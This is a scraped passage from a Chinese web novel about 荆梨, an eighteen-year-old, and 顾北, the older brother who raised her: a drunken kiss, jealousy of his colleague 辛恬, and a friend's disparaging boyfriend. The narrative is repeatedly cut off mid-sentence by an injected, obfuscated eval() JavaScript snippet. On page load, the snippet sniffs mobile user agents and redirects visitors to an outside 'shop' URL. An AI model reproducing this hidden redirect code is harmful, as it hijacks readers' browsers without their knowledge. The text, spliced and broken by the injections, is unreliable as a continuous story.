荆梨肯定地点点头:“没错,你。” 易梓薇连忙摆手推脱:“算了算了,我不行的。” 荆梨不解:“为什么不行?” 易梓薇垂眸戳着米饭,身上的气压有些低:“我个子不高,比例也一般,脸也没有很漂亮,做你的模特可能会让你连初赛的都过不了的。” 女孩与人设不符的自我贬低把荆梨怔住了,她好半晌都没吭声,眼神诧异地望着神情恹恹的好友。 “个子不高,比例一般,脸不漂亮?”荆梨似是听到了什么天大的笑话,抱臂轻嗤出声,“你听听,这是你能说出来的话么。” “易大小姐什么时候对自己这么刻薄了,以前那种老娘天下第一美的自信呢?” 易梓薇唇瓣嗫嚅,默默叹了口气。 荆梨瞬间皱起眉,敏锐地察觉不对劲,追问道:“你怎么回事?谁跟你说些什么了?” 易梓薇牵强一笑:“没有啊,我就是怕耽误你嘛,人家都找那种专业的高个模特,我一米六五往台上一站会被人笑话的。” 荆梨目光如炬,冷淡地注视着她:“我认识的易梓薇从来不怕被人笑话。” 易梓薇一愣,莫名鼻尖泛酸,头埋得更低了。 荆梨不跟再跟她废话,抓起她的手机用密码解锁,点开女孩的朋友圈主页,果然发现每条照片底下都有同一个人的评论。 [宝宝是不是又胖了?腿都有肉了。] [眼睛要是再大点就更可爱了,当然现在也很可爱。] [是角度的问题吗,比例好一般……] 荆梨越翻脸色越难看,直到看见她和易梓薇在夏天一起游泳的合照下,那人的评论:[以后少跟她合照,衬得你像个未发育的小孩子。] 她用力将手机反扣,气得胸膛上下起伏:“就这种恶臭男你他妈怎么谈的下去的,不分手留着过年啊!” 这个骚包的红发头像不是陆檀还能是谁。 易梓薇缩着肩膀不敢说话,几秒后她小声反驳:“他跟我闹着玩的,没那个意思……” “闹着玩?你是真傻还是假傻,意识不到他在贬低你么。” 易梓薇还想挣扎:“我说过他了,他以后不会再评论这些话了……” 荆梨瞅她那憋屈劲儿心里就堵得慌,她深吸口气,暗道恋爱脑真的没治了。 “分不分?”荆梨直截了当。 易梓薇期期艾艾地望向她,语气哀求:“荆梨……” 二人间顿时陷入沉默。 片刻后,荆梨败下阵来,将手机还给对方:“以后被他伤惨了别怪我没提醒过你。” 易梓薇咬了咬唇,闷闷地“嗯”了声。 “我不管你那些借口,在我心里你就是最美最合适的人选,我不会找别人当我的模特,如果你不答应那比赛我也不参加了。” 撂下这句话,荆梨不再言语,抓起筷子开始吃饭。 易梓薇眼圈霎时红了,她低头扒了口饭,可味道却是苦涩的。 这世上或许也只有荆梨能如此坚定地选择她。 良久,她终于开口:“我答应你。” 荆梨没抬头,淡淡道:“这周末来我家,我帮你量尺寸。” 易梓薇吸了吸鼻子,弯唇轻笑,知晓荆梨这是不气她了。 “好。” - 下午课满,最后一节课结束时间已经六点了。 晚霞染红半个天空,学校东门热闹不已,聚集各色小吃摊,觅食的学生络绎不绝。 荆梨独自站在路边,等顾北来接她。 早在半小时前她就发消息给他了,哪怕路上再堵,按道理也应该到了。 可她却迟迟不见熟悉的车牌。 荆梨隔几秒低头看一眼手机,心里隐隐不安,害怕顾北是不是又出了什么意外。 结果下一秒,顾北的电话便打了过来。 她连忙接起,询问他到哪了,安不安全。 听到女孩焦急的声音,顾北略一停顿,接着语气抱歉道:“小梨,哥哥这会儿抽不开身,有个临时的会议还没结束,没法去接你了。” 荆梨默默松了口气,又问:“那演出……” “顾老师,PPT出了点问题,有个视频打不开。” “好,让我看看。” 电话里传来二人压低的交谈,荆梨自然认出了打断的人是辛恬。 她下意识轻咬嘴里的软肉,心头不自觉漫上无助的情绪,把话咽了回去。 “乖,自己打车回家,哥哥给你报销。” 荆梨喉头发涩,但还是平静地问:“你几点回来?” 顾北站起身走到辛恬旁边,边检查PPT边对着手机低声说:“大概十点左右,八点要和一个朋友去看演出,你把门锁好,别等我,早点睡觉。” 男人话刚落地,荆梨呼吸一滞。 所以……那张演出票不是给她的啊…… 另一边,距离顾北最近的辛恬自然没有错过他和妹妹的通话内容。 听到自己在男人口中是“朋友”而不是“下属”,辛恬嘴角上扬,弯起甜蜜的弧度。 荆梨几乎要控制不住嗓音的沙哑,冷声问:“哪个朋友?” 顾北顿了顿,看了眼身旁的辛恬,手掌轻拢唇瓣,音量降到最低:“辛恬。” 辛恬,辛恬……又是辛恬。 荆梨厌烦地挂掉电话,手脱力般垂落。 四周瞬间寂静无声,有片枯黄的梧桐叶打着旋地落在她脚边,秋风萧瑟,短暂引起落叶飞舞,又归于平静。 胸口传来阵阵闷窒的隐痛,迫使她不得不深呼吸缓解,可每一次呼吸都会牵连鼻腔与泪腺。 她不想哭的,但忽然降落的细雨成了最后一根稻草。 荆梨没听男人的话,她沿着植满法国梧桐的长街,裹紧外套,闷头朝前走。 那也不是回家的方向,她只是想寻个由头不让自己看起来太过狼狈。 不知道走了多久,细雨逐渐变大,整个城市被雨淋湿,包括她自己。 因为雨水,她突兀的眼泪不再那么见不得人。 直到有人在她上方撑了把伞。 荆梨迟钝地抬起头,对上周逸怀担忧的目光。 “雨下这么大,怎么不找个地方避一避啊,身上都淋湿了。” 望着女生漆黑空洞的眼睛,周逸怀皱了皱眉,着急道:“冷不冷?我送你回家……” 下一秒,荆梨倾身将额头抵上他的胸口,他猛地怔住,一动都不敢动。 周逸怀浑身僵硬,滚了滚喉结:“荆梨?” 荆梨闭着眼,嗓音低迷:“为什么偏偏是你啊……” 她的声音太小,被疾驰而过的车轮碾散在空中。 周逸怀攥紧握着伞把的手指:“你说什么?” 荆梨收敛好情绪,她摇摇头,转身重新走进雨里:“没什么。” 周逸怀忙跟上去帮她打伞,想要伸手拉她,又怕被甩开,于是握拳放下。 “我帮你叫车,再这么淋下去会生病的。” 荆梨心情糟糕,忍不住刺道:“车我自己会打,生病也是我活该,周逸怀,人得为自己负责,少插手别人的事。” 周逸怀早已习惯了对方冷漠的态度,他丝毫不恼,反倒自嘲道:“可我喜欢你,舍不得你生病,也做不到不插手你的事。” 荆梨一顿,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她摸了摸自己的额头,体温果不其然上升。 叹了口气,她翻出退烧药吞下,整个人陷进柔软的大床,在药物的作用下意识渐远。 不知昏睡多久,荆梨被门外的动静惊醒,她看了眼手机。 才九点半。 拧眉从卧室出来,疑惑为什么顾北这么早就回来了,没想到她却看见房子里出现一个意料之外的人。 辛恬正架着喝得烂醉的顾北,跌跌撞撞地往客厅走去。 一声短促的惊呼后,她被男人带着一齐倒在了沙发上。 “!” 二人的脸离得很近,顾北双眼紧闭,滚烫的鼻息烧得她脸颊酡红,心脏狂跳,一时竟忘了推开对方。 直到一双如玉葱般白皙骨感的手扶住男人的肩膀,将他掰正躺好,辛恬才如梦初醒。 “荆,荆梨。” 她立刻爬起来,被撞破什么似的,眼神羞怯躲闪。 荆梨没吭声,目光淡漠地瞥她一眼,随后落在难受的顾北身上,眉心紧蹙。 “顾老师他喝醉了,全场只有我没喝酒,所以他们让我开车送他回来。”辛恬解释道。 不知为何,面对顾北这个才十八岁的妹妹,她莫名感到紧张。 听起来,演出没看成。 荆梨略一挑眉,无波无澜地“嗯”了声:“我知道了。” “谢谢你,你可以走了。” 辛恬找借口:“喝醉的人还挺沉的,要不我帮你一起把顾老师扶进房间吧……” 话落,她对上荆梨似笑非笑的黑眸,不由一愣。 荆梨微微弯唇,语带不加掩饰的讽刺:“辛小姐,这里是我们的家,我哥他睡哪用不着你操心。” 辛恬被她毫不客气的态度怔住,诧异地看着对方。 这一刻的荆梨,突然很像一只领地意识极强的猫咪。 炸着尾巴,冲她哈气: 这里是我家,离开我的家。 40.初吻 Chapter 40 关门声落定,房子里归于平静。 荆梨站在沙发前垂眸望着呼吸急促的顾北,视线在他那张被酒气熏染得愈发昳丽的面庞上停留许久,随后才落到他松垮的领口。 透过半遮半掩的布料,她瞧见男人起伏嶙峋的锁骨上不知何时沾上了一点疑似口红的痕迹。 应该是辛恬架着他胳膊时不小心擦上的。 仿佛属于自己的东西被旁人指染了一样,荆梨立刻蹲下身,拽开顾北的衣领,用手粗鲁地抹去那块擦痕,皮都磨红了才肯作罢。 顾北难受地哼了哼,以为又有人在劝酒,抬手一把攥住那人的手腕:“不能再喝了……” 荆梨被他扯得身形一晃,差点没蹲稳朝他扑过去。 腕上像箍了圈滚烫的烙铁,源源不断的热意从他掌心渡过来,将她原本就低烧的体温又添了把火。 “顾北,松手。”荆梨挣了挣手腕,试图跟醉鬼讲道理。 这并不是顾北第一次喝醉回家。 第一次是在他21岁大四毕业聚会那天。 那会儿她也才11岁。 面对一身酒气的哥哥完全不知道该怎么办。 醉酒的顾北像是变了一个人。 黏人,话多,话还没什么逻辑,鲜少与她亲昵的男人却抱着她又揉又亲,掐她婴儿肥的脸颊,捏她的鼻子,把她吓得嗷嗷大哭,撒开他跑进卧室,身后响起他恶作剧得逞一般的笑声。 后来次数一多她也就习惯了。 最近两年顾忌她要高考,男人便再没有喝多过。 醉了也会自己醒完酒再回家面对她。 回忆起当时的场景,荆梨忍俊不禁,再抬眼却撞进男人忽然睁开的黑眸中。 四目相对,顾北的眼睛亮得发沉,深深地望着她,一眨不眨。 荆梨笑容一僵,暗道不好,忙挣开他的手,起身就要跑。 但还是慢了一步,下一秒男人有力的胳膊从后面搂住她的腰,一股大力将她往后拽。 荆梨脚下失衡,跌坐进顾北的怀里,后背贴上他结实滚热的胸膛。 心跳霎时漏了半拍。 荆梨今夜穿的是睡裙,裸露的半截大腿直接贴上微凉西裤,她下意识攥紧裙摆,浑身僵硬不知该作何反应。 男人坚硬的骨骼硌得她不自觉踮起脚尖,膝盖并拢,细长小腿蹦成脆弱弧线,隐隐打颤。 顾北双臂紧紧箍着女孩的细腰,下巴强势地嵌入她的颈窝,以一种环抱的姿势将人牢牢禁锢。 从后面看,男人宽阔的肩背将纤瘦的女孩挡得死死,无形的侵略与占有。 身后的人像冬日的太阳一样不断散发热意,带着酒气的粗沉鼻息扑在她颈侧的敏感点,荆梨痒得后缩脑袋,耳朵因此蹭上顾北的唇瓣,她心猛地一颤,额头都开始冒汗,低烧的症状在此刻被心动与害羞替代。 “顾北……放开我……” 她不自在地扭动,想从他身上下来,却被他扇了下大腿。 “别乱动。” 很轻的一下,麻麻的,几乎没有痛感,但是让荆梨怔在了原地,扭头诧异又委屈地瞪着他。 仿佛在用眼神控诉:你欺负我! 顾北掀开眼,瞥向她,浑然不觉自己干了什么过分的事,深邃的眉宇间满是溺死人的柔情笑意。 “让你不听话。”他醉醺醺地说。 男人红着脸,双眼迷离的模样太过诱人,荆梨一时被蛊惑,忘了争辩,只呆呆地盯着他。 “小梨,梨宝,怎么长得这么可爱啊,哥哥怎么看都看不腻……” 女孩湿漉漉的杏眼和小时候重叠,顾北心头一阵阵发软,他抬手捧起女孩的脸,摸摸眼睛,又捏捏鼻子,怎么都疼不够似的,呢喃着说出心里话。 “就这样一辈子不长大好不好,陪在哥哥身边,我们永远在一起……” 听到这话的瞬间,荆梨险些滚下泪来,她眸光盈盈地望着他,转身搂住他的脖颈。 明知对方说的只是醉话,但还是郑重又认真地点头:“好,我们永远在一起。” 顾北指了指自己酒窝浮现的脸颊,胸腔愉悦地颤动:“那你亲哥哥一下。” 二人的脸离得极近,呼吸交错,视线相缠,眼里只有彼此。 只不过一个醉意深深,一个清醒沉沦。 荆梨长睫微颤,没按他所指的地方,而是脑子一热,直接吻住了他的唇。 唇瓣相贴的刹那,周遭的一切都消失了。 她的世界只剩下心脏强烈的跳动,脑海中炸开仅此一次的烟花,长久以来压抑的少女心事得以实现,血液都因此沸腾叫嚣。 原来男生的唇那么软,带着存在感极强的湿润,哪怕只是简单贴着,唇上的痒意也一路滑至心口。 这是她的初吻。 她很开心。 哪怕第二天顾北就会忘记,她也不后悔。 短暂又漫长的三秒过后,荆梨落寞地撤离,她垂眸不敢与男人直视,松开他便要起身回屋。 可男人却突然拢住她的后脑压向他,低头又吻了上去。 荆梨睁大眼,不可置信地盯着近在咫尺的脸,呼吸都停了下来。 顾北闭着眼,皱眉有些粗鲁地含住她的唇瓣,轻咬慢舔,毫无章法,发出黏腻又细弱的舔舐声响,听得荆梨脸红不已。 但紧接着后知后觉的慌乱占领高地,她用力推开他,望着他昏沉失焦的眼睛,哑声哽咽道:“顾北,你还认得出我是谁吗?” 她不相信。 不相信顾北会在知道她是谁的情况下吻她。 顾北眨了下眼,似是才看清面前的人,他温柔一笑:“当然认得啊,小梨,别闹哥哥,哥哥好困啊。” 话落,他抱住荆梨,靠在她肩上沉沉睡去。 荆梨接住他全身交付的力道,眼里微末的希冀幻灭破碎,她歪头依恋地贴上他的脸颊,泪水从眼尾滑落。 顾北的那个吻,跟她毫无关系。 或许出于欲望的作祟,或许就只是因为男人的本能罢了。 - 天冷了,在沙发上睡一夜终究不舒服。 荆梨吃力地将男人扶到房间,扔到床上,帮他脱完鞋后盖上被子。 一番折腾下来,她觉得低烧的脑袋更晕了,身体阵阵发寒。 她赶忙又吞下一颗药,用水送服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但他到底控制住了。 算起来,这已经是他第二次肖想妹妹的吻了。 上次在医院他渴望她亲吻他的额头。 这次过分到嘴巴。 顾北啊顾北,你可真恶心。 为什么幻想的对象偏偏是荆梨。 为什么偏偏是她…… 男人眉宇间拂过绝望的挣扎与不堪,随即他长长地叹了口气,仿佛要把胸中的郁结都一并吐出。 下一秒,荆梨忽然抬腿缠住他的,脸贪恋地埋进他的颈间,整个人如同无尾熊一样抱着他,过高的体温隔着薄薄的布料传递过来,顾北这才意识到她在发低烧。 许是觉得他身上舒服,荆梨贴得更紧,攀附着他,烫得像只小火炉,鼻间发出难受的轻吟。 顾北赶忙收紧胳膊,用力回抱住她,心口泛酸。 两人纠缠,交错,密不可分,被子都搅乱,宛若动荡海面的两只小船,彼此依靠。 荆梨身上温热的小苍兰沐浴露味道像一把小勾子,钩起一些不该有的欲念,引发身体动情的连锁反应。 顾北一个人兵荒马乱,忍得后背都冒了汗。 虔诚的轻吻落在荆梨额角,她不知道,成为独属于他的秘密。 41.恶心 chapter 41 隔天早上,天色大亮,照得卧室亮堂堂,荆梨眉头直皱,想要抬手遮挡阳光。 结果手背碰到一个柔软温热的物体。 触感像人的嘴,还有呼吸扑在她指节。 她猛地清醒,困意全无,睁开眼对上顾北尽在咫尺的睡颜。 男人长睫似鸦羽低伏,眉骨英挺舒展,鼻息轻缓,看起来睡得很香。 荆梨有些失神,恍然觉得身在梦中。 她伸出指腹轻抚对方的下唇,柔软的触感立即反馈,霎时,昨晚发生的一切排山倒海般涌入大脑,荆梨宕机了几秒,后知后觉感到羞耻。 她皱起脸,内心尖叫,只想找个洞钻进去,便低头蜷缩到男人怀中,整个人像只煮熟的虾子,从脖子红到耳尖。 被子一阵悉索的响动,有只大手按在她颈后,粗糙的拇指轻揉她耳后的皮肤,引起电流蹿过的痒意。 “醒了?” 男人的嗓音带着刚醒时特有的沙哑,听着很性感。 荆梨身子一僵,没吭声,下意识闭上眼装睡。 顾北静了两秒,没等到回应,以为她还在睡,大手移到她的额头,发现体温已经回归正常,不由松了口气。 他想要起床洗个澡,但身子刚挪动一下腰就被紧紧搂住了。 有些讶异地低下头,他捕捉到女孩没有藏住颤抖的长睫。 顾北闲闲扯唇,玩心大起,伸手捏住她的鼻子,在荆梨实在憋不住睁开眼,抬手挥开他时轻笑出声。 “幼不幼稚啊你。”荆梨忿忿地瞪了他一眼,捂着鼻子从他怀里出来。 顾北挑眉,理直气也壮:“谁让你装睡,还抱着我不让我下床。” “……” 荆梨哑然,心虚地别开眼,越过他走出房间。 等人一离开视线范围,顾北脸上笑意瞬间消失,他回头注视着女孩的背影,眸光逐渐深邃。 从浴室出来,闻到厨房飘来西红柿鸡蛋面的味道,顾北停下擦头发的动作,走到餐桌前,看着色香俱全的面,由衷夸赞道:“卖相不错啊。” 荆梨傲娇地哼了声,将筷子递给他:“味道也很不错。” 顾北接过,坐到女孩对面,在对方紧张的目光中吃下一筷子面条,细细咀嚼,然后吞咽。 “怎么样?”荆梨问。 这是她第一次做这个面,完全是按照顾北平时的步骤做的。 顾北表情不变:“你自己吃了吗?” 荆梨摇摇头。 顾北示意她自己也吃一口。 荆梨迟疑地看他一眼,接着挑起一点放进嘴里。 瞧见女孩顿时难看的脸色,顾北淡笑说:“盐放的稍微多了点,鸡蛋也煎糊了,其他都还好。” “好什么呀,又甜又咸,还微微发苦。”荆梨嫌弃地搁下筷子,伸手就要端起男人的面碗拿到厨房倒掉,“难吃就别吃了,我点外卖。” “哎。”顾北忙拦下她的动作,护住面碗,眼尾含着朗润的笑意,“我觉得不错啊,你好不容易做碗面给我,就算是馊水我也得吃光。” 荆梨心头微动,怔然地看着他,随即又怒道:“也没到馊水的程度吧!” 顾北:“一个比喻而已。” 他开始大口吃起来,期间眉头都没皱一下,最后甚至把汤都喝光了。 荆梨眼神担忧,有点担心顾北会不会下一秒就受不了跑到洗手间吐掉。 他当然没有。 男人抬头对上她的目光,唇角轻扬,继续夸奖:“再尝试两次都能赶上我的手艺了。”谈及此,他忽然有些感慨,眼底浮现淡淡波澜,“等你彻底学会,以后我不在你身边的时候,你想我了可以做这道面。” 荆梨闻言收拾碗筷的动作倏地一顿,气息骤冷:“你要去哪儿?” 顾北起身走到她面前,在她发顶揉了把:“还是一个比喻,小孩儿这么认真干嘛。” 说罢,他拿过她手里的碗筷,独自踏入厨房,沉默地洗起碗来。 荆梨站在原地没有动,她侧眸盯着男人的背影,眼圈渐渐被不知名的惶恐而烘热发软。 她想要从背后抱住对方,可脚底却似生了根,这一刻连简单的踏步都做不到。 他们之间明明相距咫尺,可这短短的一小段路,她毫无头绪。 勇敢和无谓只是她对外的伪装。 面对顾北,她手足无措,一句小小的“比喻”就能令她的世界翻天覆地。 今天将是她最后一次做这碗西红柿鸡蛋面。 - 吃完早餐,顾北并未去上班,而是直接搬出电脑在客厅办公。 荆梨问他是不是请假了,顾北“嗯”了声,说:“昨晚喝得太狠,今天让我偷会儿懒。” 提到喝酒这个话题,荆梨脑海又闪过那两个说不清道不明的吻。 位置还正好就是顾北此时坐着的地方。 她抵唇轻咳,阳光下耳朵肉眼可见地变红。 荆梨心里有鬼,她缓缓坐到男人身侧,将泡好的红茶搁在他右手边,旁敲侧击地问:“顾北,你还记得你昨晚喝醉之后发生的事吗?” 顾北瞥向飘着热气的茶杯,眼尾轻挑:“不记得了,发生什么了么?” 荆梨仔细观察他的表情,见不似作伪,这才小幅度地呼了口气。 不记得就好。 “什么也没发生,你醉得不省人事,我在旁边照顾你,太困就直接在你床上睡着了。” 她圆的漏洞百出,完全忘记自己发了一夜低烧,男人醒来第一反应探她额温这件事。 顾北长睫垂敛,遮住眸中的情绪,他端起茶杯,从鼻子泄出一声轻轻的哼笑:“辛苦你了。” 气氛微微异样,但荆梨却没心思品味。 她仗着男人失去了醉酒时的记忆,大着胆子凑到他跟前,眼里闪烁着求知的光芒:“顾北,你初吻还在吗?” 话落的瞬间,顾北手兀地一抖,滚烫的茶水从杯口溢出,洒在他虎口处,立刻就将皮肤烫出红色。 他赶忙放下杯子,甩了甩手,眉头皱成“川”字,脸色格外难看。 荆梨拽过他的手,用衣袖擦干净水渍,视线上抬,和他的撞在一起:“很疼吧,都烫红了。” 面前这双杏眸黑白分明,干净纯澈,充满对他的担忧。 同样的地点,同样的距离,顾北猛然被拉到昨夜那个荒唐的吻中,唇上氤氲的湿意似刻在灵魂的烙印,无法摆脱,一辈子都得跟着他,午夜梦回,成为他沉溺的梦魇。 男人呼吸停顿,下颌骤然收紧,眸光幽邃如夜,长久的沉默是他与自我的拉扯。 最终,依旧是理智占了上风。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028155|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾北冷漠地抽回手,视线重新落于电脑,语气无波无澜:“你问初吻干什么?” 荆梨抿了抿唇,背脊挺直:“好奇啊。” 顾北轻嗤:“无不无聊,没事干就去追剧。” 他陡然尖锐的态度让荆梨不觉愣住。 难不成戳到他痛点了? 昨晚那个吻不会也是他的初吻吧…… 思及此,荆梨抿住快要融到唇角笑意,调侃道:“你不会到现在还没跟异性亲过吧。” 她话音刚落,男人似笑非笑地接道:“谁说没有。” 空气蓦然凝滞。 荆梨心脏一坠,她唇瓣无声开合,嗓音克制不住沙哑:“什么时候?” 顾北摘下鼻梁上的眼镜,盯着不知名的某处,面露思索,不知回忆起了什么,唇角压不住笑:“很久之前的事了,具体细节忘得差不多了,只记得……”他稍作停顿,眼睫微垂,轮廓起伏的侧脸被晨光蒙上一层金边,语调格外缱绻,“她很乖,很软,想一直抱着她。” 荆梨心头阵阵翻涌,她强行吞咽,才将将压下不适的感觉:“她是谁啊?” 她的追问比起好奇,更有种自虐的意味。 “小屁孩。”顾北深吸口气,敲响键盘,又恢复工作时疏冷的模样,“还能是谁。” 哦,对了。 顾北谈过恋爱。 四周再次陷入死寂。 荆梨搁在膝头的手慢慢捏紧,浑身的力气好似被抽离了,她浑噩地站起身,神情恹恹,只想立刻从他身边逃开。 她从来不敢想象顾北和旁人亲热的画面。 连有这个念头她都接受不了。 她对哥哥的占有欲比她以为的还要深。 回到卧房,荆梨坐在床边发了好一会儿呆。 昨夜的吻突然变得扭曲,肮脏起来。 她抬起手背狠狠擦拭嘴唇,直到泛白破皮才停下。 丝丝密密的疼痛从破口处蔓延至四肢百骸,荆梨闭上泛红双眼,唇瓣紧抿,止不住颤抖。 同一时间,客厅里的顾北忽然停下敲打的手指。 他眼底漆黑无光,冷不丁长长叹出一口气。 看来那个吻是真实的。 而且荆梨还把它放在心上了。 她应该觉得很恶心吧…… 被醉酒的哥哥占了便宜。 他还假装不记得,大言不惭说自己早已没了初吻。 思及此,顾北冷硬紧绷的神情泄出几分溃不成军的痛苦。 他的脊骨仿佛被敲碎了,呈现枯槁的颓败。 - 临近中午,顾北没心情亲自做饭,便在外卖软件上订了餐。 十分钟后,门铃响起。 顾北疑惑怎么送的如此快,开门后却看见了出乎意料的人。 只见辛恬拎着保温壶,笑意盈盈地对他说:“顾老师。” 顾北微微一愣:“小恬?你怎么来了?” 辛恬莞尔道:“实在不好意思,没打招呼就来您家,我是看您昨晚喝那么多酒,今天胃一定不好受,就擅自做主给您煲了汤送过来。” 见顾北迟迟不应声,她提起保温壶,急急补充:“都是我一大早去市场买的食材,保证干净新鲜。” 顾北有些无奈地点点头,侧身让开道:“你先进来吧。” 42.生气 chapter 42 辛恬纠结立在玄关,垂目看着自己的鞋:“请问有拖鞋或者鞋套吗?” 经她提醒,顾北下意识环顾四周,随后在左边鞋柜最底层拿出一双稍显陈旧的粉色卡通拖鞋,放在女生脚边。 “家里平时不怎么来客人,就没备鞋套,这是荆梨以前的拖鞋,你先将就穿一下吧。” 辛恬点头道谢,弯腰换上拖鞋,将自己的鞋子整齐摆好后,她拎着保温壶跟在顾北身后往里走,视线却不自觉参观起男人的家, 昨晚她走得匆忙,加上灯光昏暗,并未看清这个家的全貌,如今仔细一瞧,房子不光大,采光也很好,整体是高级的黑白灰色调,但并不显冷淡沉闷,软装搭配合宜,一看便是精心挑选。 整个客厅最温馨的地方是那面电视背景墙,由一格格置物架错落组成。 有兄妹俩全世界旅游的照片,也有顾北的奖杯,还有荆梨的美术作品。 最中心摆着一座小型石膏胸像,手法略微粗糙,但轮廓格外传神,一眼便能认出捏的是顾北。 “那是荆梨第一次上雕塑课时给我做的礼物。” 见女生盯着胸像发呆,顾北温声解释。 辛恬闻言笑了笑,刚想夸赞几句,转眸却注意到男人望向石像的眼神。 专注,温柔,甚至还有几分陷在美好回忆中的怅然。 她微微一愣,唇瓣轻抿,嘴角笑意收敛。 辛恬不禁回味起和荆梨因顾北而产生的两次交集。 一丝怪异的感觉略过心间。 女孩对她哥哥的情感,似乎与正常的兄妹情不太一样…… “顾老师和妹妹的关系真好呢。”短暂愣神过后,辛恬忽然开口。 顾北想也没想:“嗯,荆梨可是我一手带大的。” 辛恬在单位没少听同事传的八卦。 她知晓顾北父母双亡的事,所以自然地将男人代入又当爹又当哥的角色。 养大一个小孩并不容易,而且荆梨那孩子看着就个性,期间顾北所受的辛苦自不必多言。 辛恬心头一软,试图寻找相同的话题和他拉近距离:“其实我也有个哥哥。” 顾北眼尾轻挑,看向她:“是么。” 辛恬点点头,笑道:“不过我哥没有顾老师这么温柔,他从小就爱欺负我,哪怕现在我俩都长大成人了,见面还会因为小事掐架。” 莫名的,听到辛恬这番话,顾北眸光骤然黯淡。 他垂下眼,挡住眼底翻涌的郁色。 辛恬和她哥,才应该是正常兄妹间,正常的相处模式。 而他和荆梨之间…… 他开始问心有愧了。 - “我煮是萝卜羊肉汤,冬天喝这个对身体特别好。” 厨房里,辛恬打开壶盖,尚且冒着热气的肉汤香味四溢,炖煮烂熟的羊肉看起来鲜嫩可口。 顾北听到是羊肉,眉头微不可察地皱了下。 “对了……”辛恬停顿了下,似是才想起来可能有人接受不了羊肉的味道,忙紧张问道,“顾老师您吃羊肉的吧?” 顾北上次就因为她的花生酱三明治进了医院,不会这次又倒霉地踩了雷吧…… 顾北对上她的视线,苦笑着摇了摇头:“不吃。” …… 踩雷了。 尴尬直冲天灵盖,辛恬僵在原地,只想找条地缝钻进去。 她赶忙低头道歉:“对不起对不起顾老师,我又自作主张给您添麻烦了……” 顾北本就心情不佳,面对突然到访还弄出这么大动静的下属,实在无力应对。 他只能无奈叹息一声,倦倦地说:“小恬,你的好意我心领了,这样吧,汤你拿回去自己喝,也不算浪费。” “正好午休时间快结束了,你赶紧回院里吧,别耽误了下午的工作。” 殊不知他语气越耐心,表现得越体面,辛恬心里便越自责,越听不出男人话里话外送客的意思。 辛恬不知道顾北已经订了餐,见厨房没有开火的痕迹,以为他们还没吃饭,当即决定炒两个菜再走。 “昨晚的演出因为小组临时聚餐没看成,我还欠一次给您的补偿。”辛恬满眼诚恳地对他说,“顾老师要是不嫌弃的话,我给您做顿午饭再走吧,我手艺很好的。” 顾北头疼地阖了阖眼,这姑娘怎么油盐不进呢。 “不用……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038378|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没等他说完,下一秒,一道凉凉的女声从身后传来,打断了二人的谈话。 “家里来客人啦,这么热闹呢。” 荆梨不知何时出现在岛台旁,正面无表情地望着他们,语气听不出情绪。 仿佛救星降临,顾北立刻向她投去求救的眼神。 荆梨却没看他一眼,视线落在女生脚上的拖鞋,她呼吸微滞,脸色又难看了几分。 “正好荆梨来了,你有想吃菜吗,我给你做。” 辛恬俨然一副女主人的姿态,擅自打开冰箱,翻看里头的食材。 荆梨没吭声,垂在身侧的手慢慢攥紧,随即她狠狠瞪了眼顾北,转身回到房间。 见状,顾北的耐心终于用尽,他上前关好冰箱,嗓音沙哑,带着毫不掩饰的冷戾:“辛恬,你可以走了。” 许是第一次见识到男人不客气的一面,辛恬怔住,呆愣地看着他,一时忘了反应。 男人眼神冷淡,把话摊开跟她讲:“这里不需要你做饭,我已经订了餐,待会就送到。” 闻言,辛恬脸颊发烫,知晓自己逾距了,垂眸不敢和男人对视。 “对不起……” “还有。”顾北打断她,“以后我们的接触仅限工作,这是你最后一次,私下不提前打招呼就来找我,” 他毫不留情,上位者的威严压得女生眼眶泛红。 她竟然忘了,顾北不仅仅是她爱慕的对象,还是她的领导。 她有点得意忘形了。 辛恬不再挣扎,拎上保温壶就逃也似的离开房子。 等人一走,顾北总算觉得安静了些。 他走到玄关,弯腰将辛恬匆忙脱下的粉色拖鞋拿起来,瞧着上面的卡通形象,一段久远的回忆自心底涌出。 三年前,中考结束后的那个暑假。 为了奖励荆梨取得高分,他带着她去了香港迪士尼乐园。 这双拖鞋是他给她买的纪念品,小丫头宝贝得很,放在鞋柜里一直舍不得穿。 结果就这么被他拿给陌生人穿了…… 脑中闪过女孩瞪向他的那一眼,顾北懊恼地叹了口气。 他确实讨人厌,总干些惹她生气的蠢事。 43.冷战 chapter 43 顾北将拖鞋清洗干净,摆在荆梨卧室门口,她出来就能看见的位置。 他在用这种方式向她道歉。 不一会儿,订的午餐到了,顾北装盘摆好,接着去敲荆梨的房门。 “小梨,出来吃饭了。” 无人回应。 顾北皱了皱眉,又敲了两下:“快点出来,再不吃菜就凉了。” 依然没有动静。 顾北叹了口气,耐着性子喊她:“荆梨。” “我不饿,你们俩吃吧。” 里头终于传来女孩没什么起伏的声音。 你们俩? 